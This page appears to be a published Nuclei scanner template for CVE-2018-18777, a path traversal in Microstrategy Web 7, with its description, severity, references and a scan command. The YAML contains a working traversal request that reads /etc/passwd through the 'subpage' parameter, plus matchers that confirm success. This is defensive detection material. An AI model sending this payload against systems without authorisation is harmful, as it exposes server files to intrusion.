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Microstrategy Web 7 - Local File Inclusion

ID: CVE-2018-18777

Severity: medium

Author: 0x_Akoko

Tags: cve,cve2018,traversal,edb,packetstorm,microstrategy,lfi

Microstrategy Web 7 is vulnerable to local file inclusion via “/WebMstr7/servlet/mstrWeb” (in the parameter subpage). Remote authenticated users can bypass intended SecurityManager restrictions and list a parent directory via a /.. (slash dot dot) in a pathname used by a web application. NOTE: this is a deprecated product.

id: CVE-2018-18777
info:
name: Microstrategy Web 7 - Local File Inclusion
author: 0x_Akoko
severity: medium
description: |
Microstrategy Web 7 is vulnerable to local file inclusion via "/WebMstr7/servlet/mstrWeb" (in the parameter subpage). Remote authenticated users can bypass intended SecurityManager restrictions and list a parent directory via a /.. (slash dot dot) in a pathname used by a web application. NOTE: this is a deprecated product.
impact: |
Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.
remediation: |
Apply the latest security patches or upgrade to a newer version of Microstrategy Web.
reference:
- https://www.exploit-db.com/exploits/45755
- http://packetstormsecurity.com/files/150059/Microstrategy-Web-7-Cross-Site-Scripting-Traversal.html
- https://nvd.nist.gov/vuln/detail/CVE-2018-18777
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
cvss-score: 4.3
cve-id: CVE-2018-18777
cwe-id: CWE-22
epss-score: 0.00185
epss-percentile: 0.5564
cpe: cpe:2.3:a:microstrategy:microstrategy_web:7:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: microstrategy
product: microstrategy_web
tags: cve,cve2018,traversal,edb,packetstorm,microstrategy,lfi
http:
- method: GET
path:
- "{{BaseURL}}/WebMstr7/servlet/mstrWeb?evt=3045&src=mstrWeb.3045&subpage=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a0046304402204b269ea2e3ad03c5b91308035709c4d7b4edbc7e04970b93347b40891f07fdcc022016658a1c4de0d6c893c22c54fed2b5fb7061c95bbe51ae28bfa70eb43a139566:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-18777.yaml"

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